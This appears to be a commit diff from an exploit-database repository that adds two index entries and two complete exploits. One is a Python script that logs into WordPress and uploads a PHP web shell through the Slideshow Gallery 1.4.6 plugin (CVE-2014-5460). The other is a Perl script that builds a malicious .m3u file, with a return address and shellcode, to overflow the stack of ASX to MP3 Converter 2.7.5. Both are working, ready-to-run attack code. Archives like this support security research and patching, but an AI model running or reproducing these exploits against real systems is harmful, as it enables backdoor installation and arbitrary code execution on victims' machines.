Updated 10_09_2014
This commit is contained in:
Offensive Security
parent
8025a0f69b
commit
b8f45520a1
3 changed files with 300 additions and 0 deletions
|
|
@ -31227,6 +31227,7 @@ id,file,description,date,author,platform,type,port
|
|||
34677,platforms/php/webapps/34677.txt,"WebStatCaffe stat/pageviewers.php date Parameter XSS",2009-08-29,Moudi,php,webapps,0
|
||||
34678,platforms/php/webapps/34678.txt,"WebStatCaffe stat/pageviewerschart.php date Parameter XSS",2009-08-29,Moudi,php,webapps,0
|
||||
34679,platforms/php/webapps/34679.txt,"WebStatCaffe stat/referer.php date Parameter XSS",2009-08-29,Moudi,php,webapps,0
|
||||
34681,platforms/php/webapps/34681.txt,"Wordpress Slideshow Gallery 1.4.6 - Shell Upload (Python Exploit)",2014-09-16,"Claudio Viviani",php,webapps,0
|
||||
34682,platforms/ios/webapps/34682.txt,"USB&WiFi Flash Drive 1.3 iOS - Code Execution Vulnerability",2014-09-16,Vulnerability-Lab,ios,webapps,8080
|
||||
34683,platforms/php/webapps/34683.txt,"e-soft24 Article Directory Script 'q' Parameter Cross Site Scripting Vulnerability",2009-08-30,"599eme Man",php,webapps,0
|
||||
34684,platforms/php/webapps/34684.pl,"Joomla Spain Component 'nv' Parameter SQL Injection Vulnerability",2010-09-20,FL0RiX,php,webapps,0
|
||||
|
|
@ -31442,3 +31443,4 @@ id,file,description,date,author,platform,type,port
|
|||
34917,platforms/multiple/webapps/34917.txt,"IBM Tivoli Access Manager for e-business ibm/wpm/webseal method Parameter XSS",2010-10-22,IBM,multiple,webapps,0
|
||||
34918,platforms/cgi/webapps/34918.txt,"Ultra Electronics 7.2.0.19 and 7.4.0.7 - Multiple Vulnerabilities",2014-10-06,"OSI Security",cgi,webapps,443
|
||||
34919,platforms/php/webapps/34919.txt,"SkyBlueCanvas 1.1 r237 'admin.php' Directory Traversal Vulnerability",2009-07-16,MaXe,php,webapps,0
|
||||
34921,platforms/windows/local/34921.pl,"Asx to Mp3 2.7.5 - Stack Overflow",2014-10-07,"Amir Tavakolian",windows,local,0
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
246
platforms/php/webapps/34681.txt
Executable file
246
platforms/php/webapps/34681.txt
Executable file
|
|
@ -0,0 +1,246 @@
|
|||
#!/usr/bin/env python
|
||||
#
|
||||
# WordPress Slideshow Gallery 1.4.6 Shell Upload Exploit
|
||||
#
|
||||
# WordPress Slideshow Gallery plugin version 1.4.6 suffers from a remote shell upload vulnerability (CVE-2014-5460)
|
||||
#
|
||||
# Vulnerability discovered by: Jesus Ramirez Pichardo - http://whitexploit.blogspot.mx/
|
||||
#
|
||||
# Exploit written by: Claudio Viviani - info@homelab.it - http://www.homelab.it
|
||||
#
|
||||
#
|
||||
# Disclaimer:
|
||||
#
|
||||
# This exploit is intended for educational purposes only and the author
|
||||
# can not be held liable for any kind of damages done whatsoever to your machine,
|
||||
# or damages caused by some other,creative application of this exploit.
|
||||
# In any case you disagree with the above statement,stop here.
|
||||
#
|
||||
#
|
||||
# Requirements:
|
||||
#
|
||||
# 1) Enabled user management slide
|
||||
# 2) python's httplib2 lib
|
||||
# Installation: pip install httplib2
|
||||
#
|
||||
# Usage:
|
||||
#
|
||||
# python wp_gallery_slideshow_146_suv.py -t http[s]://localhost -u user -p pwd -f sh33l.php
|
||||
# python wp_gallery_slideshow_146_suv.py -t http[s]://localhost/wordpress -u user -p pwd -f sh33l.php
|
||||
# python wp_gallery_slideshow_146_suv.py -t http[s]://localhost:80|443 -u user -p pwd -f sh33l.php
|
||||
#
|
||||
# Backdoor Location:
|
||||
#
|
||||
# http://localhost/wp-content/uploads/slideshow-gallery/sh33l.php
|
||||
#
|
||||
# Tested on Wordpress 3.6, 3.7, 3.8, 3.9, 4.0
|
||||
#
|
||||
|
||||
# http connection
|
||||
import urllib, httplib2, sys, mimetypes
|
||||
# Args management
|
||||
import optparse
|
||||
# Error management
|
||||
import socket, httplib, sys
|
||||
# file management
|
||||
import os, os.path
|
||||
|
||||
# Check url
|
||||
def checkurl(url):
|
||||
if url[:8] != "https://" and url[:7] != "http://":
|
||||
print('[X] You must insert http:// or https:// procotol')
|
||||
sys.exit(1)
|
||||
else:
|
||||
return url
|
||||
|
||||
# Check if file exists and has readable
|
||||
def checkfile(file):
|
||||
if not os.path.isfile(file) and not os.access(file, os.R_OK):
|
||||
print '[X] '+file+' file is missing or not readable'
|
||||
sys.exit(1)
|
||||
else:
|
||||
return file
|
||||
# Get file's mimetype
|
||||
def get_content_type(filename):
|
||||
return mimetypes.guess_type(filename)[0] or 'application/octet-stream'
|
||||
|
||||
# Create multipart header
|
||||
def create_body_sh3ll_upl04d(payloadname):
|
||||
|
||||
getfields = dict()
|
||||
getfields['Slide[id]'] = ''
|
||||
getfields['Slide[order]'] = ''
|
||||
getfields['Slide[title]'] = 'h0m3l4b1t'
|
||||
getfields['Slide[description]'] = 'h0m3l4b1t'
|
||||
getfields['Slide[showinfo]'] = 'both'
|
||||
getfields['Slide[iopacity]'] = '70'
|
||||
getfields['Slide[type]'] = 'file'
|
||||
getfields['Slide[image_url]'] = ''
|
||||
getfields['Slide[uselink]'] = 'N'
|
||||
getfields['Slide[link]'] = ''
|
||||
getfields['Slide[linktarget]'] = 'self'
|
||||
getfields['Slide[title]'] = 'h0m3l4b1t'
|
||||
|
||||
payloadcontent = open(payloadname).read()
|
||||
|
||||
LIMIT = '----------lImIt_of_THE_fIle_eW_$'
|
||||
CRLF = '\r\n'
|
||||
|
||||
L = []
|
||||
for (key, value) in getfields.items():
|
||||
L.append('--' + LIMIT)
|
||||
L.append('Content-Disposition: form-data; name="%s"' % key)
|
||||
L.append('')
|
||||
L.append(value)
|
||||
|
||||
L.append('--' + LIMIT)
|
||||
L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % ('image_file', payloadname))
|
||||
L.append('Content-Type: %s' % get_content_type(payloadname))
|
||||
L.append('')
|
||||
L.append(payloadcontent)
|
||||
L.append('--' + LIMIT + '--')
|
||||
L.append('')
|
||||
body = CRLF.join(L)
|
||||
return body
|
||||
|
||||
banner = """
|
||||
|
||||
$$$$$$\ $$\ $$\ $$\ $$\
|
||||
$$ __$$\ $$ |\__| $$ | $$ |
|
||||
$$ / \__|$$ |$$\ $$$$$$$ | $$$$$$\ $$$$$$$\ $$$$$$$\ $$$$$$\ $$\ $$\ $$\
|
||||
\$$$$$$\ $$ |$$ |$$ __$$ |$$ __$$\ $$ _____|$$ __$$\ $$ __$$\ $$ | $$ | $$ |
|
||||
\____$$\ $$ |$$ |$$ / $$ |$$$$$$$$ |\$$$$$$\ $$ | $$ |$$ / $$ |$$ | $$ | $$ |
|
||||
$$\ $$ |$$ |$$ |$$ | $$ |$$ ____| \____$$\ $$ | $$ |$$ | $$ |$$ | $$ | $$ |
|
||||
\$$$$$$ |$$ |$$ |\$$$$$$$ |\$$$$$$$\ $$$$$$$ |$$ | $$ |\$$$$$$ |\$$$$$\$$$$ |
|
||||
\______/ \__|\__| \_______| \_______|\_______/ \__| \__| \______/ \_____\____/
|
||||
|
||||
|
||||
|
||||
$$$$$$\ $$\ $$\ $$\ $$\ $$\ $$$$$$\
|
||||
$$ __$$\ $$ |$$ | $$$$ |$$ | $$ | $$ __$$\
|
||||
$$ / \__| $$$$$$\ $$ |$$ | $$$$$$\ $$$$$$\ $$\ $$\ \_$$ |$$ | $$ | $$ / \__|
|
||||
$$ |$$$$\ \____$$\ $$ |$$ |$$ __$$\ $$ __$$\ $$ | $$ | $$ |$$$$$$$$ | $$$$$$$\
|
||||
$$ |\_$$ | $$$$$$$ |$$ |$$ |$$$$$$$$ |$$ | \__|$$ | $$ | $$ |\_____$$ | $$ __$$\
|
||||
$$ | $$ |$$ __$$ |$$ |$$ |$$ ____|$$ | $$ | $$ | $$ | $$ | $$ / $$ |
|
||||
\$$$$$$ |\$$$$$$$ |$$ |$$ |\$$$$$$$\ $$ | \$$$$$$$ | $$$$$$\ $$\ $$ |$$\ $$$$$$ |
|
||||
\______/ \_______|\__|\__| \_______|\__| \____$$ | \______|\__|\__|\__|\______/
|
||||
$$\ $$ |
|
||||
\$$$$$$ |
|
||||
\______/
|
||||
|
||||
W0rdpr3ss Sl1d3sh04w G4ll3ry 1.4.6 Sh3ll Upl04d Vuln.
|
||||
|
||||
=============================================
|
||||
- Release date: 2014-08-28
|
||||
- Discovered by: Jesus Ramirez Pichardo
|
||||
- CVE: 2014-5460
|
||||
=============================================
|
||||
|
||||
Written by:
|
||||
|
||||
Claudio Viviani
|
||||
|
||||
http://www.homelab.it
|
||||
|
||||
info@homelab.it
|
||||
homelabit@protonmail.ch
|
||||
|
||||
https://www.facebook.com/homelabit
|
||||
https://twitter.com/homelabit
|
||||
https://plus.google.com/+HomelabIt1/
|
||||
https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
|
||||
"""
|
||||
|
||||
commandList = optparse.OptionParser('usage: %prog -t URL -u USER -p PASSWORD -f FILENAME.PHP [--timeout sec]')
|
||||
commandList.add_option('-t', '--target', action="store",
|
||||
help="Insert TARGET URL: http[s]://www.victim.com[:PORT]",
|
||||
)
|
||||
commandList.add_option('-f', '--file', action="store",
|
||||
help="Insert file name, ex: shell.php",
|
||||
)
|
||||
commandList.add_option('-u', '--user', action="store",
|
||||
help="Insert Username",
|
||||
)
|
||||
commandList.add_option('-p', '--password', action="store",
|
||||
help="Insert Password",
|
||||
)
|
||||
commandList.add_option('--timeout', action="store", default=10, type="int",
|
||||
help="[Timeout Value] - Default 10",
|
||||
)
|
||||
|
||||
options, remainder = commandList.parse_args()
|
||||
|
||||
# Check args
|
||||
if not options.target or not options.user or not options.password or not options.file:
|
||||
print(banner)
|
||||
commandList.print_help()
|
||||
sys.exit(1)
|
||||
|
||||
payloadname = checkfile(options.file)
|
||||
host = checkurl(options.target)
|
||||
username = options.user
|
||||
pwd = options.password
|
||||
timeout = options.timeout
|
||||
|
||||
print(banner)
|
||||
|
||||
url_login_wp = host+'/wp-login.php'
|
||||
url_admin_slideshow = host+'/wp-admin/admin.php?page=slideshow-slides&method=save'
|
||||
|
||||
content_type = 'multipart/form-data; boundary=----------lImIt_of_THE_fIle_eW_$'
|
||||
|
||||
http = httplib2.Http(disable_ssl_certificate_validation=True, timeout=timeout)
|
||||
|
||||
# Wordpress login POST Data
|
||||
body = { 'log':username,
|
||||
'pwd':pwd,
|
||||
'wp-submit':'Login',
|
||||
'testcookie':'1' }
|
||||
# Wordpress login headers with Cookie
|
||||
headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
|
||||
'Content-type': 'application/x-www-form-urlencoded',
|
||||
'Cookie': 'wordpress_test_cookie=WP+Cookie+check' }
|
||||
try:
|
||||
response, content = http.request(url_login_wp, 'POST', headers=headers, body=urllib.urlencode(body))
|
||||
if len(response['set-cookie'].split(" ")) < 4:
|
||||
#if 'httponly' in response['set-cookie'].split(" ")[-1]:
|
||||
print '[X] Wrong username or password'
|
||||
sys.exit()
|
||||
else:
|
||||
print '[+] Username & password ACCEPTED!\n'
|
||||
|
||||
# Create cookie for admin panel
|
||||
if 'secure' in response['set-cookie']:
|
||||
c00k13 = response['set-cookie'].split(" ")[6]+' '+response['set-cookie'].split(" ")[0]+' '+response['set-cookie'].split(" ")[10]
|
||||
else:
|
||||
c00k13 = response['set-cookie'].split(" ")[5]+' '+response['set-cookie'].split(" ")[0]+' '+response['set-cookie'].split(" ")[8]
|
||||
|
||||
bodyupload = create_body_sh3ll_upl04d(payloadname)
|
||||
|
||||
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
|
||||
'Cookie': c00k13,
|
||||
'content-type': content_type,
|
||||
'content-length': str(len(bodyupload)) }
|
||||
response, content = http.request(url_admin_slideshow, 'POST', headers=headers, body=bodyupload)
|
||||
|
||||
if 'admin.php?page=slideshow-slides&Galleryupdated=true&Gallerymessage=Slide+has+been+saved' in content:
|
||||
print '[!] Shell Uploaded!'
|
||||
print '[+] Check url: '+host+'/wp-content/uploads/slideshow-gallery/'+payloadname.lower()+' (lowercase!!!!)'
|
||||
else:
|
||||
print '[X] The user can not upload files or plugin fixed :((('
|
||||
|
||||
except socket.timeout:
|
||||
print('[X] Connection Timeout')
|
||||
sys.exit(1)
|
||||
except socket.error:
|
||||
print('[X] Connection Refused')
|
||||
sys.exit(1)
|
||||
except httplib.ResponseNotReady:
|
||||
print('[X] Server Not Responding')
|
||||
sys.exit(1)
|
||||
except httplib2.ServerNotFoundError:
|
||||
print('[X] Server Not Found')
|
||||
sys.exit(1)
|
||||
except httplib2.HttpLib2Error:
|
||||
print('[X] Connection Error!!')
|
||||
sys.exit(1)
|
||||
52
platforms/windows/local/34921.pl
Executable file
52
platforms/windows/local/34921.pl
Executable file
|
|
@ -0,0 +1,52 @@
|
|||
###########################################################################################
|
||||
# Exploit Title: ASX to MP3 Converter 2.7.5 stack buffer overflow
|
||||
# Date: 6 Oct 2014
|
||||
# Exploit Author: Amir Reza Tavakolian
|
||||
# Vendor Homepage: http://binarylife.blog.ir/
|
||||
# Software Link: http://download.cnet.com/ASX-to-MP3-Converter/3000-2168_4-10385919.html
|
||||
# Version: 2.7.5
|
||||
# Tested on: windows xp sp 3
|
||||
#
|
||||
#
|
||||
# Special thanks to Mr Michael Czumak (T_v3rn1x) for his tutorial in securitysift.com.
|
||||
# Thanks Mike. :)
|
||||
##########################################################################################
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#!/usr/bin/perl
|
||||
|
||||
my $junk = "\x41" x 35056;
|
||||
my $eip = pack ('V', 0x73e848a7);
|
||||
|
||||
|
||||
|
||||
my $nop = "\x90" x 4;
|
||||
|
||||
my $shellcode = "\x90" x 25;
|
||||
$shellcode = $shellcode . "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42" .
|
||||
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03" .
|
||||
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b" .
|
||||
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e" .
|
||||
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c" .
|
||||
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74" .
|
||||
"\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe" .
|
||||
"\x49\x0b\x31\xc0\x51\x50\xff\xd7";
|
||||
|
||||
my $junk1 = "c" x 24806;
|
||||
|
||||
|
||||
|
||||
|
||||
my $total = $junk.$eip.$nop.$shellcode.$junk1;
|
||||
my $file = "poc1.m3u";
|
||||
|
||||
|
||||
open (FILE, ">$file");
|
||||
print FILE $total;
|
||||
close (FILE);
|
||||
print "Done.../";
|
||||
|
||||
|
||||
Loading…
Add table
Reference in a new issue